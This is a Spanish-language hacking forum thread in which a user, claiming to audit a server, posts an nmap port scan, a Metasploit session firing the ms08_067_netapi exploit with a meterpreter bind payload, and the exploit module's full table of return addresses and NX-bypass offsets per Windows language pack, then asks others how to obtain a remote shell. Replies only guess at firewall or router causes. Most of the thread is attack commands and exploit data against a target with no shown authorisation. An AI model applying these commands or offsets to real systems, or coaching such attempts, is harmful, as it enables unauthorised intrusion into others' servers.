Problema para conseguir remote shell

Iniciado por Debci, 8 Enero 2010, 17:07 PM

0 Miembros y 1 Visitante están viendo este tema.

Debci

Hola a todos, estoy auditando un servidor, que por la cantidad de puertos abiertos parece ser muy vulnerable, pero como ya comente hace tiempo, no puedo atacarle mediante el ms08_067_netapi, en puerto 445 abierto (sip, esta abierto), por que no detecta bien el paquete de idiomas del guind0$, estos son los puertos abiertos (que no se os caiga la baba):


7/tcp    open  echo
9/tcp    open  discard
13/tcp   open  daytime
17/tcp   open  qotd
19/tcp   open  chargen
21/tcp   open  ftp
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
110/tcp  open  pop3
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
1027/tcp open  IIS
1028/tcp open  unknown
1029/tcp open  ms-lsa
1030/tcp open  iad1
1031/tcp open  iad2
1455/tcp open  esl-lm
3306/tcp open  mysql
3389/tcp open  ms-term-serv
8009/tcp open  ajp13
8080/tcp open  http-proxy
8085/tcp open  unknown
8402/tcp open  unknown
8443/tcp open  https-alt



Bien ahora viene la parte técnica en la cual fallo:


debci@0x81:/pentest/exploits/framework3$ sudo ./msfconsole
[sudo] password for debci:

                                 _            
                                | |      o    
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |  
 |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                          /|                  
                          \|                  


      =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 491 exploits - 225 auxiliary
+ -- --=[ 251 payloads - 23 encoders - 8 nops
      =[ svn r8082 updated today (2010.01.07)

msf > use exploit/windows/smb/ms08_067_netapi                                  3
RHOST => xxxxxxxxxxtapi) > set RHOST xx.xx.xx.xx
rpreter/bind_tcpmsf exploit(ms08_067_netapi) > set PAYLOAD windows/mete
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 R2 Service Pack 2 - lang:Unknown
[*] Could not determine the exact language pack
[*] Exploit completed, but no session was created.
msf exploit(ms08_067_netapi) >



Entonces, me puse a investigar (siguiendo un link que el compañero kamsky me proporcionó):
http://www.pentester.es/2009/11/por-que-no-consigo-shell-con-mi.html

Bien, pero en esa guia, se explica como hacerlo trasteando con un proceso .exe de windows, y yo trabajo bajo linux, e aqui el problema, de todos modos me puse a invetsigar sobre el exploit, en mi caso se ejecuta bajo el interprete del framework metasploit, y para mi sorpresa, si que tiene el idioma castellano, el cual es el probable del host, observen:

#
# UNIVERSAL TARGETS
#

#
# Antoine's universal for Windows 2000
# Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET
#
[ 'Windows 2000 Universal',
{
'Ret'       => 0x001f1cb0,
'Scratch'   => 0x00020408,
}
], # JMP EDI SVCHOST.EXE

#
# Standard return-to-ESI without NX bypass
# Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET
#
[ 'Windows XP SP0/SP1 Universal',
{
'Ret'       => 0x01001361,
'Scratch'   => 0x00020408,
}
], # JMP ESI SVCHOST.EXE

#
# ENGLISH TARGETS
#

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 English (NX)',
{
'Ret'       => 0x6f88f727,
'DisableNX' => 0x6f8916e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL


# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 English (NX)',
{
'Ret'       => 0x6f88f807,
'DisableNX' => 0x6f8917c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Standard return-to-ESI without NX bypass
[ 'Windows 2003 SP0 Universal',
{
'Ret'       => 0x0100129e,
'Scratch'   => 0x00020408,
}
], # JMP ESI SVCHOST.EXE


# Standard return-to-ESI without NX bypass
[ 'Windows 2003 SP1 English (NO NX)',
{
'Ret'       => 0x71bf21a2,
'Scratch'   => 0x00020408,
}
], # JMP ESI WS2HELP.DLL

# Brett Moore's crafty NX bypass for 2003 SP1
[ 'Windows 2003 SP1 English (NX)',
{
'RetDec'    => 0x7c90568c, # dec ESI, ret @SHELL32.DLL
'RetPop'    => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL
'JmpESP'    => 0x7c86fed3,  # jmp ESP @NTDLL.DLL
'DisableNX' => 0x7c83e413,  # NX disable @NTDLL.DLL
'Scratch'   => 0x00020408,
}
],

# Standard return-to-ESI without NX bypass
[ 'Windows 2003 SP2 English (NO NX)',
{
'Ret'       => 0x71bf3969,
'Scratch'   => 0x00020408,
}
], # JMP ESI WS2HELP.DLL

# Brett Moore's crafty NX bypass for 2003 SP2
[ 'Windows 2003 SP2 English (NX)',
{
'RetDec'    => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL
'RetPop'    => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL
'JmpESP'    => 0x7c86a01b,  # jmp ESP @NTDLL.DLL
'DisableNX' => 0x7c83f517,  # NX disable @NTDLL.DLL
'Scratch'   => 0x00020408,
}
],


#
# NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED
#

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Arabic (NX)',
{
'Ret'       => 0x6fd8f727,
'DisableNX' => 0x6fd916e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Chinese - Traditional / Taiwan (NX)',
{
'Ret'       => 0x5860f727,
'DisableNX' => 0x586116e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Chinese - Simplified (NX)',
{
'Ret'       => 0x58fbf727,
'DisableNX' => 0x58fc16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Chinese - Traditional (NX)',
{
'Ret'       => 0x5860f727,
'DisableNX' => 0x586116e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Czech (NX)',
{
'Ret'       => 0x6fe1f727,
'DisableNX' => 0x6fe216e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Danish (NX)',
{
'Ret'       => 0x5978f727,
'DisableNX' => 0x597916e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 German (NX)',
{
'Ret'       => 0x6fd9f727,
'DisableNX' => 0x6fda16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Greek (NX)',
{
'Ret'       => 0x592af727,
'DisableNX' => 0x592b16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL


# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Spanish (NX)',
{
'Ret'       => 0x6fdbf727,
'DisableNX' => 0x6fdc16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Finnish (NX)',
{
'Ret'       => 0x597df727,
'DisableNX' => 0x597e16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 French (NX)',
{
'Ret'       => 0x595bf727,
'DisableNX' => 0x595c16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Hebrew (NX)',
{
'Ret'       => 0x5940f727,
'DisableNX' => 0x594116e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Hungarian (NX)',
{
'Ret'       => 0x5970f727,
'DisableNX' => 0x597116e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Italian (NX)',
{
'Ret'       => 0x596bf727,
'DisableNX' => 0x596c16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Japanese (NX)',
{
'Ret'       => 0x567fd3be,
'DisableNX' => 0x568016e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Korean (NX)',
{
'Ret'       => 0x6fd6f727,
'DisableNX' => 0x6fd716e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Dutch (NX)',
{
'Ret'       => 0x596cf727,
'DisableNX' => 0x596d16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Norwegian (NX)',
{
'Ret'       => 0x597cf727,
'DisableNX' => 0x597d16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Polish (NX)',
{
'Ret'       => 0x5941f727,
'DisableNX' => 0x594216e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Portuguese - Brazilian (NX)',
{
'Ret'       => 0x596ff727,
'DisableNX' => 0x597016e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Portuguese (NX)',
{
'Ret'       => 0x596bf727,
'DisableNX' => 0x596c16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Russian (NX)',
{
'Ret'       => 0x6fe1f727,
'DisableNX' => 0x6fe216e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Swedish (NX)',
{
'Ret'       => 0x597af727,
'DisableNX' => 0x597b16e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP2 Turkish (NX)',
{
'Ret'       => 0x5a78f727,
'DisableNX' => 0x5a7916e2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Arabic (NX)',
{
'Ret'       => 0x6fd8f807,
'DisableNX' => 0x6fd917c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Chinese - Traditional / Taiwan (NX)',
{
'Ret'       => 0x5860f807,
'DisableNX' => 0x586117c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Chinese - Simplified (NX)',
{
'Ret'       => 0x58fbf807,
'DisableNX' => 0x58fc17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Chinese - Traditional (NX)',
{
'Ret'       => 0x5860f807,
'DisableNX' => 0x586117c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Czech (NX)',
{
'Ret'       => 0x6fe1f807,
'DisableNX' => 0x6fe217c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Danish (NX)',
{
'Ret'       => 0x5978f807,
'DisableNX' => 0x597917c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 German (NX)',
{
'Ret'       => 0x6fd9f807,
'DisableNX' => 0x6fda17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Greek (NX)',
{
'Ret'       => 0x592af807,
'DisableNX' => 0x592b17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL


# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Spanish (NX)',
{
'Ret'       => 0x6fdbf807,
'DisableNX' => 0x6fdc17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Finnish (NX)',
{
'Ret'       => 0x597df807,
'DisableNX' => 0x597e17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 French (NX)',
{
'Ret'       => 0x595bf807,
'DisableNX' => 0x595c17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Hebrew (NX)',
{
'Ret'       => 0x5940f807,
'DisableNX' => 0x594117c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Hungarian (NX)',
{
'Ret'       => 0x5970f807,
'DisableNX' => 0x597117c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Italian (NX)',
{
'Ret'       => 0x596bf807,
'DisableNX' => 0x596c17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Japanese (NX)',
{
'Ret'       => 0x567fd4d2,
'DisableNX' => 0x568017c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Korean (NX)',
{
'Ret'       => 0x6fd6f807,
'DisableNX' => 0x6fd717c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Dutch (NX)',
{
'Ret'       => 0x596cf807,
'DisableNX' => 0x596d17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Norwegian (NX)',
{
'Ret'       => 0x597cf807,
'DisableNX' => 0x597d17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Polish (NX)',
{
'Ret'       => 0x5941f807,
'DisableNX' => 0x594217c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Portuguese - Brazilian (NX)',
{
'Ret'       => 0x596ff807,
'DisableNX' => 0x597017c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Portuguese (NX)',
{
'Ret'       => 0x596bf807,
'DisableNX' => 0x596c17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Russian (NX)',
{
'Ret'       => 0x6fe1f807,
'DisableNX' => 0x6fe217c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Swedish (NX)',
{
'Ret'       => 0x597af807,
'DisableNX' => 0x597b17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Turkish (NX)',
{
'Ret'       => 0x5a78f807,
'DisableNX' => 0x5a7917c2,
'Scratch'   => 0x00020408
}


Una vez dicho esto, quiero pedirles ayuda, como puedo hacerlo? estoy encerrado, no se como hacerlo, y conozco muy pocas vulnerabilidades que explotar, la que mas usaba era la ms08_67_netapi pero esta vez ha fallado, y hechandole con el sacner nessus y un autopwn tampoco tira ( no esperaba mucho de este ultimo -.-').

Admito vulnerabilidades posibles en el host.

Si lo consigo lo masterizare como guia de ataque modelo.

Saludos y gracias a tod@s.


Shell Root

mmm a ver. Se ha hablado varias veces de esto y se ha dicho que puede ser problema de:

  • FireWall
  • Router's
  • Etc...

Saludos!
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

Debci

Cita de: Shell Root en  8 Enero 2010, 18:28 PM
mmm a ver. Se ha hablado varias veces de esto y se ha dicho que puede ser problema de:

  • FireWall
  • Router's
  • Etc...

Saludos!
mmmm seguro que el hecho de que no detecte el idioma es problema del firewall?

Saludos

Shell Root

Cita de: ..::| D3Bć1 |::. en  8 Enero 2010, 17:07 PM... y conozco muy pocas vulnerabilidades que explotar, la que mas usaba era la ms08_67_netapi pero esta vez ha fallado.
Lo dijé por esto... :D

Saludos!
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

Debci

Cita de: Shell Root en  8 Enero 2010, 20:25 PM
Cita de: ..::| D3Bć1 |::. en  8 Enero 2010, 17:07 PM... y conozco muy pocas vulnerabilidades que explotar, la que mas usaba era la ms08_67_netapi pero esta vez ha fallado.
Lo dijé por esto... :D

Saludos!
En ese, caso, que em recomiendas hacer ahora?

Saludos

R007h